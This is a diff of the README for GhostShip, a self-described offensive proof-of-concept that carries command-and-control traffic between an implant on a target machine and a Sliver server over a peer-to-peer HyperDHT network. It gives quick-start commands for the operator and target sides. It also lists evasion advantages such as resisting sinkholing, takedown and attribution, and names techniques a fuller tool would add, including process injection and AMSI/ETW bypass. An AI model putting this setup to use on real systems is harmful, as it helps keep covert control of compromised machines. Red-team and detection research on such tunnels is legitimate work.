|
1 | 1 | # GhostShip 👻🚢 |
2 | 2 |
|
3 | | -## P2P Tunnel for C2 Traffic |
| 3 | +P2P tunnel for C2 traffic over [HyperDHT](https://github.com/holepunchto/hyperdht). |
4 | 4 |
|
5 | | -[](https://opensource.org/licenses/MIT) |
6 | | -[](#) |
7 | | - |
8 | | ---- |
9 | | - |
10 | | -> **⚠️ This is a Proof of Concept** — validates P2P transport only. Not stealthy, easily detected by EDR/XDR. |
11 | | -
|
12 | | ---- |
13 | | - |
14 | | -## Overview |
15 | | - |
16 | | -**GhostShip** is a PoC peer-to-peer tunnel that transports C2 traffic through [HyperDHT](https://github.com/holepunchto/hyperdht). |
17 | | - |
18 | | -Using HyperDHT from the [Pear](https://pears.com/) / [Holepunch](https://holepunch.to/) ecosystem, C2 traffic traverses a decentralized DHT—no public IPs, domains, or VPS needed. |
| 5 | +> **⚠️ Proof of Concept** — validates transport concept only. Not stealthy, detected by EDR/XDR. |
19 | 6 |
|
20 | 7 | --- |
21 | 8 |
|
22 | 9 | ## How It Works |
23 | 10 |
|
24 | 11 | ``` |
25 | | -[Target Machine] [Operator Machine] |
26 | | -
|
27 | | - C2 Implant C2 Server |
28 | | - (e.g., Sliver) (e.g., Sliver) |
29 | | - | | |
30 | | - v v |
31 | | - 127.0.0.1:8888 127.0.0.1:8888 |
32 | | - | | |
33 | | - v v |
34 | | - GhostShip Client <------P2P/DHT------> GhostShip Bridge |
| 12 | +[Target] [Operator] |
| 13 | +
|
| 14 | + Implant C2 Server |
| 15 | + | | |
| 16 | + v v |
| 17 | + 127.0.0.1:8888 127.0.0.1:8888 |
| 18 | + | | |
| 19 | + v v |
| 20 | + Client <-----------P2P/DHT------------> Bridge |
35 | 21 | ``` |
36 | 22 |
|
37 | | -1. Operator starts C2 server (e.g., Sliver mTLS on port 8888) |
38 | | -2. **Bridge** connects to local C2 and exposes it via HyperDHT, generating a key (`hs://...`) |
39 | | -3. **Client** on target connects to DHT using the key, opens local port for implant |
40 | | -4. Implant connects to `127.0.0.1:8888`, traffic flows through P2P tunnel |
41 | | - |
42 | | ---- |
43 | | - |
44 | | -## Traditional C2 vs Native P2P C2 |
45 | | - |
46 | | -The table below compares **traditional centralized C2** with a **hypothetical native P2P C2** (not this PoC). |
47 | | - |
48 | | -| Aspect | Traditional C2 | Native P2P C2 | |
49 | | -|--------|---------------|---------------| |
50 | | -| **Topology** | Star (clients → central server) | Mesh (peer-to-peer via DHT) | |
51 | | -| **Infrastructure** | VPS, domains, static IPs | Zero—DHT is public | |
52 | | -| **Single Point of Failure** | Server takedown = total loss | No central server to seize | |
53 | | -| **Attribution** | WHOIS, IP registration, hosting logs | DHT anonymity layer | |
54 | | -| **Cost** | $10-100+/month | Free | |
55 | | -| **Setup Time** | Hours/days | Seconds | |
56 | | -| **Domain Fronting** | Often required | Not needed—no domains | |
57 | | -| **IP Rotation** | Manual or infra-dependent | Automatic via DHT | |
58 | | -| **Sinkholing** | Domains can be seized | No DNS = nothing to sinkhole | |
59 | | -| **Traffic Blending** | Patterns to known IPs | Blends with Pear/Keet traffic | |
60 | | -| **Takedown** | Single target | No central point | |
61 | | -| **NAT Traversal** | Port forwarding/redirectors | Built-in hole-punching | |
62 | | -| **Encryption** | Implementation-dependent | E2E by default (Noise) | |
63 | | -| **Certificates** | Required for HTTPS/mTLS | Key-based identity | |
64 | | -| **Redundancy** | Multiple servers needed | Inherent in DHT mesh | |
65 | | -| **Offline Queuing** | Server stores commands | Both peers must be online | |
66 | | -| **Latency** | Low (direct) | Higher (DHT routing) | |
67 | | -| **Network IOCs** | Known IPs, domains | DHT bootstrap nodes only | |
68 | | -| **DNS Queries** | C2 domain lookups | None | |
69 | | -| **JA3/JA3S** | Fingerprintable TLS | Noise protocol signature | |
70 | | - |
71 | | ---- |
72 | | - |
73 | | -## About This PoC |
74 | | - |
75 | | -GhostShip is a **proof of concept** that validates P2P transport feasibility using HyperDHT. It wraps existing C2 traffic through a Node.js tunnel—useful for research and experimentation, but not operationally viable. |
76 | | - |
77 | | -A true native P2P C2 would be purpose-built from scratch: small native binary, process injection/hollowing, in-memory IPC instead of local ports, and proper evasion techniques (AMSI/ETW bypass, anti-forensics). This PoC has none of that—it runs visible Node.js processes, opens detectable TCP ports, and will be flagged by any competent EDR/XDR. |
| 23 | +1. **Bridge** connects to local C2 server, exposes it via DHT, outputs key (`hs://...`) |
| 24 | +2. **Client** connects to DHT with key, opens local port |
| 25 | +3. Implant connects to localhost, traffic tunnels through P2P |
78 | 26 |
|
79 | 27 | --- |
80 | 28 |
|
81 | 29 | ## Quick Start |
82 | 30 |
|
83 | | -### Operator Side |
84 | | - |
| 31 | +**Operator:** |
85 | 32 | ```bash |
86 | | -# Start Sliver |
87 | | -sliver-server |
| 33 | +sliver-server # Start C2 |
88 | 34 | sliver > mtls --lport 8888 |
89 | 35 |
|
90 | | -# Start Bridge |
91 | 36 | cd bridge/nodejs && npm install |
92 | | -node bridge.js --port 8888 |
93 | | -# Note the key: hs://abc123... |
| 37 | +node bridge.js --port 8888 # Note: hs://... |
94 | 38 | ``` |
95 | 39 |
|
96 | | -### Target Side |
97 | | - |
| 40 | +**Target:** |
98 | 41 | ```bash |
99 | | -# Start Client |
100 | 42 | cd client && npm install |
101 | | -node client.js --connect "hs://abc123..." --port 8888 |
| 43 | +node client.js --connect "hs://..." --port 8888 |
102 | 44 |
|
103 | | -# Run implant configured for 127.0.0.1:8888 |
104 | | -./implant |
| 45 | +./implant # Connects to 127.0.0.1:8888 |
105 | 46 | ``` |
106 | 47 |
|
107 | | -### Receive Session |
| 48 | +--- |
108 | 49 |
|
109 | | -``` |
110 | | -sliver > sessions |
111 | | -``` |
| 50 | +## Traditional C2 vs P2P C2 |
| 51 | + |
| 52 | +| Aspect | Traditional C2 | P2P C2 | |
| 53 | +|--------|---------------|--------| |
| 54 | +| **Infrastructure** | VPS, domains, static IPs | None (public DHT) | |
| 55 | +| **Cost** | $10-100+/month | Free | |
| 56 | +| **Setup time** | Hours/days | Seconds | |
| 57 | +| **Single point of failure** | Yes (server) | No | |
| 58 | +| **Attribution** | WHOIS, IP, hosting logs | Lower (DHT layer) | |
| 59 | +| **Sinkholing risk** | Domains seizeable | No DNS to seize | |
| 60 | +| **NAT traversal** | Redirectors needed | Built-in hole-punching | |
| 61 | +| **Encryption** | Implementation-dependent | E2E default (Noise) | |
| 62 | +| **Latency** | Low, predictable | Higher, variable | |
| 63 | +| **Offline queuing** | Yes | No (both online required) | |
| 64 | +| **Bootstrap dependency** | None | DHT nodes (blockable) | |
| 65 | +| **Traffic fingerprint** | Known IPs/domains | DHT patterns detectable | |
| 66 | +| **Protocol signature** | JA3 fingerprintable | Noise also fingerprintable | |
| 67 | +| **Tooling maturity** | Established | Emerging | |
| 68 | +| **Debugging** | Straightforward | Complex (distributed) | |
| 69 | +| **Multi-operator** | Teamserver features | Requires custom impl | |
| 70 | + |
| 71 | +**Bottom line:** P2P eliminates infrastructure but adds latency and complexity. Traditional C2 is mature and reliable but requires operational security for infrastructure. Choose based on your threat model. |
112 | 72 |
|
113 | 73 | --- |
114 | 74 |
|
115 | | -## Disclaimer |
| 75 | +## About This PoC |
116 | 76 |
|
117 | | -**Authorized security research and educational purposes only.** |
| 77 | +This PoC validates that HyperDHT can transport C2 traffic. It's a Node.js wrapper—not operationally viable. |
118 | 78 |
|
119 | | -Unauthorized access to computer systems is illegal. Always obtain proper authorization. |
| 79 | +A native P2P C2 would need: small binary, process injection, in-memory IPC, evasion (AMSI/ETW bypass). This PoC has visible processes, open ports, ~70MB footprint, zero evasion. |
120 | 80 |
|
121 | 81 | --- |
122 | 82 |
|
123 | | -## License |
| 83 | +## Disclaimer |
| 84 | + |
| 85 | +Authorized security research only. Unauthorized access is illegal. |
124 | 86 |
|
125 | | -MIT License - See [LICENSE](LICENSE) for details. |
| 87 | +MIT License |
0 commit comments